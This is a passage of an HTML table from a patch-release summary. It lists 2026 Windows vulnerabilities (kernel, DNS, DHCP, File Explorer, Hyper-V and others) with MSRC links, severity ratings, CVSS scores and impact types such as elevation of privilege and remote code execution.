  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-49803"><span>CVE-2026-49803</span></a></td>
  <td width="256" class="xl74">Windows AppX
  Deployment Extensions Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50351"><span>CVE-2026-50351</span></a></td>
  <td width="256" class="xl74">Windows Audio
  Compression Manager (ACM) Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50440"><span>CVE-2026-50440</span></a></td>
  <td width="256" class="xl74">Windows Audio Service
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-34328"><span>CVE-2026-34328</span></a></td>
  <td width="256" class="xl74">Windows Audio Service
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50406"><span>CVE-2026-50406</span></a></td>
  <td width="256" class="xl74">Windows Backup Engine
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50364"><span>CVE-2026-50364</span></a></td>
  <td width="256" class="xl74">Windows Backup Service
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.3</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42975"><span>CVE-2026-42975</span></a></td>
  <td width="256" class="xl74">Windows Bluetooth Port
  Driver Remote Code Execution</td>
  <td class="xl68">Important</td>
  <td class="xl69">8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58538"><span>CVE-2026-58538</span></a></td>
  <td width="256" class="xl74">Windows Bluetooth
  Service Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58638"><span>CVE-2026-58638</span></a></td>
  <td width="256" class="xl74">Windows Boot Loader
  Security Feature Bypass Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">SFB</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58637"><span>CVE-2026-58637</span></a></td>
  <td width="256" class="xl74">Windows Client-Side
  Caching Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50384"><span>CVE-2026-50384</span></a></td>
  <td width="256" class="xl74">Windows Clip Service
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-49183"><span>CVE-2026-49183</span></a></td>
  <td width="256" class="xl74">Windows Clipboard
  Server Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50689"><span>CVE-2026-50689</span></a></td>
  <td width="256" class="xl74">Windows Clipboard
  Server Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50374"><span>CVE-2026-50374</span></a></td>
  <td width="256" class="xl74">Windows Cloud Files
  Mini Filter Driver Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.3</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58536"><span>CVE-2026-58536</span></a></td>
  <td width="256" class="xl74">Windows Cloud Files
  Mini Filter Driver Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58613"><span>CVE-2026-58613</span></a></td>
  <td width="256" class="xl74">Windows Cloud Files
  Mini Filter Driver Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50401"><span>CVE-2026-50401</span></a></td>
  <td width="256" class="xl74">Windows Cloud Files
  Mini Filter Driver Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50697"><span>CVE-2026-50697</span></a></td>
  <td width="256" class="xl74">Windows Common Log
  File System Driver Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50667"><span>CVE-2026-50667</span></a></td>
  <td width="256" class="xl74">Windows Common Log
  File System Driver Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50421"><span>CVE-2026-50421</span></a></td>
  <td width="256" class="xl74">Windows Connected User
  Experiences and Telemetry Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50428"><span>CVE-2026-50428</span></a></td>
  <td width="256" class="xl74">Windows Container
  Isolation FS Filter Driver (unionfs.sys) Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.1</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50352"><span>CVE-2026-50352</span></a></td>
  <td width="256" class="xl74">Windows Cryptographic
  Services Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="48">
  <td class="xl67" height="48"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50302"><span>CVE-2026-50302</span></a></td>
  <td width="256" class="xl74">Windows Cryptographic
  Services Security Feature Bypass Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">4.2</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">SFB</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55144"><span>CVE-2026-55144</span></a></td>
  <td width="256" class="xl74">Windows Cryptography
  API: Next Generation (CNG) Tampering Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.1</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Tampering</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50347"><span>CVE-2026-50347</span></a></td>
  <td width="256" class="xl74">Windows Data.dll
  Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-49181"><span>CVE-2026-49181</span></a></td>
  <td width="256" class="xl74">Windows DHCP Client
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50683"><span>CVE-2026-50683</span></a></td>
  <td width="256" class="xl74">Windows DHCP Client
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58627"><span>CVE-2026-58627</span></a></td>
  <td width="256" class="xl74">Windows DHCP Server
  Denial of Service Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">DoS</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50685"><span>CVE-2026-50685</span></a></td>
  <td width="256" class="xl74">Windows DHCP Server
  Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-49807"><span>CVE-2026-49807</span></a></td>
  <td width="256" class="xl74">Windows DirectX
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.2</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-49175"><span>CVE-2026-49175</span></a></td>
  <td width="256" class="xl74">Windows DNS Client
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50487"><span>CVE-2026-50487</span></a></td>
  <td width="256" class="xl74">Windows DNS Client
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.1</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50465"><span>CVE-2026-50465</span></a></td>
  <td width="256" class="xl74">Windows DNS Client
  Tampering Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.1</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Tampering</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-49169"><span>CVE-2026-49169</span></a></td>
  <td width="256" class="xl74">Windows DNS Server
  Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50426"><span>CVE-2026-50426</span></a></td>
  <td width="256" class="xl74">Windows DNS Server
  Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50424"><span>CVE-2026-50424</span></a></td>
  <td width="256" class="xl74">Windows Domain
  Controller Denial of Service Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">DoS</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50300"><span>CVE-2026-50300</span></a></td>
  <td width="256" class="xl74">Windows DWM Core
  Library Information Disclosure<span> 
  </span>Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50437"><span>CVE-2026-50437</span></a></td>
  <td width="256" class="xl74">Windows DWM Core
  Library Information Disclosure<span> 
  </span>Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="48">
  <td class="xl67" height="48"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-34348"><span>CVE-2026-34348</span></a></td>
  <td width="256" class="xl74">Windows Event Logging
  Service Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50502"><span>CVE-2026-50502</span></a></td>
  <td width="256" class="xl74">Windows Event Logging
  Service Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-33842"><span>CVE-2026-33842</span></a></td>
  <td width="256" class="xl74">Windows File Explorer
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-40422"><span>CVE-2026-40422</span></a></td>
  <td width="256" class="xl74">Windows File Explorer
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-41087"><span>CVE-2026-41087</span></a></td>
  <td width="256" class="xl74">Windows File Explorer
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50473"><span>CVE-2026-50473</span></a></td>
  <td width="256" class="xl74">Windows File Explorer
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50442"><span>CVE-2026-50442</span></a></td>
  <td width="256" class="xl74">Windows File Explorer
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50389"><span>CVE-2026-50389</span></a></td>
  <td width="256" class="xl74">Windows File Explorer
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50456"><span>CVE-2026-50456</span></a></td>
  <td width="256" class="xl74">Windows File Explorer
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-57084"><span>CVE-2026-57084</span></a></td>
  <td width="256" class="xl74">Windows File Explorer
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-57091"><span>CVE-2026-57091</span></a></td>
  <td width="256" class="xl74">Windows File History
  Service Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50405"><span>CVE-2026-50405</span></a></td>
  <td width="256" class="xl74">Windows Filtering
  Platform Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-49172"><span>CVE-2026-49172</span></a></td>
  <td width="256" class="xl74">Windows FTP Service
  Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">9.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50387"><span>CVE-2026-50387</span></a></td>
  <td width="256" class="xl74">Windows GDI Elevation
  of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-54122"><span>CVE-2026-54122</span></a></td>
  <td width="256" class="xl74">Windows GDI+ Remote
  Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.4</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50483"><span>CVE-2026-50483</span></a></td>
  <td width="256" class="xl74">Windows Graphics
  Component Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="73">
  <td class="xl67" height="73"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58609"><span>CVE-2026-58609</span></a></td>
  <td width="256" class="xl74">Windows Graphics
  Component Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50391"><span>CVE-2026-50391</span></a></td>
  <td width="256" class="xl74">Windows Group Policy
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50310"><span>CVE-2026-50310</span></a></td>
  <td width="256" class="xl74">Windows Human
  Interface Device Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">4.7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50485"><span>CVE-2026-50485</span></a></td>
  <td width="256" class="xl74">Windows Hyper-V Denial
  of Service Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">4.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">DoS</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-54129"><span>CVE-2026-54129</span></a></td>
  <td width="256" class="xl74">Windows Hyper-V
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50315"><span>CVE-2026-50315</span></a></td>
  <td width="256" class="xl74">Windows Image
  Acquisition Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58534"><span>CVE-2026-58534</span></a></td>
  <td width="256" class="xl74">Windows Input Method
  Editor (IME) Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50490"><span>CVE-2026-50490</span></a></td>
  <td width="256" class="xl74">Windows Installer
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58540"><span>CVE-2026-58540</span></a></td>
  <td width="256" class="xl74">Windows Installer
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50425"><span>CVE-2026-50425</span></a></td>
  <td width="256" class="xl74">Windows Internal
  System User Profile Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50293"><span>CVE-2026-50293</span></a></td>
  <td width="256" class="xl74">Windows Internal Task
  Bar Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-49167"><span>CVE-2026-49167</span></a></td>
  <td width="256" class="xl74">Windows Kernel
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">4.7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-49173"><span>CVE-2026-49173</span></a></td>
  <td width="256" class="xl74">Windows Kernel
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-54132"><span>CVE-2026-54132</span></a></td>
  <td width="256" class="xl74">Windows Kernel
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-49795"><span>CVE-2026-49795</span></a></td>
  <td width="256" class="xl74">Windows Kernel
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-49798"><span>CVE-2026-49798</span></a></td>
  <td width="256" class="xl74">Windows Kernel
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">9.3</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-49808"><span>CVE-2026-49808</span></a></td>
  <td width="256" class="xl74">Windows Kernel
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50354"><span>CVE-2026-50354</span></a></td>
  <td width="256" class="xl74">Windows Kernel
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.1</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50332"><span>CVE-2026-50332</span></a></td>
  <td width="256" class="xl74">Windows Kernel
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50377"><span>CVE-2026-50377</span></a></td>
  <td width="256" class="xl74">Windows Kernel
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
